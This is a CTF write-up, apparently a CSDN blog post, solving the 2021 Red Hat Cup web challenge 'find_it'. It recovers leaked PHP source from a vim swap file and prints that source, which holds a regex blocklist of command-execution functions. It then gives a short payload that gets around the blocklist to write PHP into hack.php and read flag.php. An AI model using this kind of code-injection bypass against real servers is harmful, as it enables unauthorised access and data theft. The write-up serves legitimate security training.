2021红帽杯 find_it

最新推荐文章于 2022-09-24 00:39:03 发布

H3rmesk1t

最新推荐文章于 2022-09-24 00:39:03 发布

阅读量1k

点赞数 2

分类专栏： # BUUCTF-Web 文章标签： 2021红帽杯 ctf web安全源码泄露新星计划

本文链接：https://blog.csdn.net/LYJ20010728/article/details/118117961

版权

BUUCTF-Web 专栏收录该内容

43 篇文章 2 订阅

订阅专栏

本文介绍了2021年红帽杯中的一道CTF题目，涉及备份文件和源码泄露的考点。通过扫描发现robots.txt，进一步通过访问特殊文件名如.1ndexx.php.swp获取源码。由于存在过滤，作者利用show_source函数绕过限制，写入代码到hack.php以读取flag.php的内容。这展示了安全漏洞利用的一种常见思路。

摘要由CSDN通过智能技术生成

考点

备份文件、源码泄露

思路

题目提示我们 I Can't view my php files?!，猜测是备份文件，御剑扫一下发现存在 robots.txt

在这里插入图片描述

访问 1ndexx.php，发现并不存在；由于Linux平台下的存在 .xxxx.php.swp、.xxxx.php.swo、.xxxx.php等文件格式，尝试访问一下 .1ndexx.php.swp，存在源码泄露

发现过滤了一堆东西，感觉没得啥子可以利用的点了，由于可以写入文件，没有过滤掉 show_source，我们利用 <?php%20show_source("fl"."ag.php");将flag打印出来

Payload

1ndexx.php.swp文件源码

<?php $link = mysql_connect('localhost', 'ctfhub', 'ctfhub'); ?>
<html>
<head>
	<title>Hello worldd!</title>
	<style>
	body {
		background-color: white;
		text-align: center;
		padding: 50px;
		font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
	}

	#logo {
		margin-bottom: 40px;
	}
	</style>
</head>
<body>
	<img id="logo" src="logo.png" />
	<h1><?php echo "Hello My freind!"; ?></h1>
	<?php if($link) { ?>
		<h2>I Can't view my php files?!</h2>
	<?php } else { ?>
		<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
	<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

Payload：

先利用 ?code=<?=%20show_source("fl"."ag.php");?> 写入php代码
再访问hack.php

在这里插入图片描述

H3rmesk1t

关注

2
点赞
踩
4

收藏

觉得还不错? 一键收藏
1
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录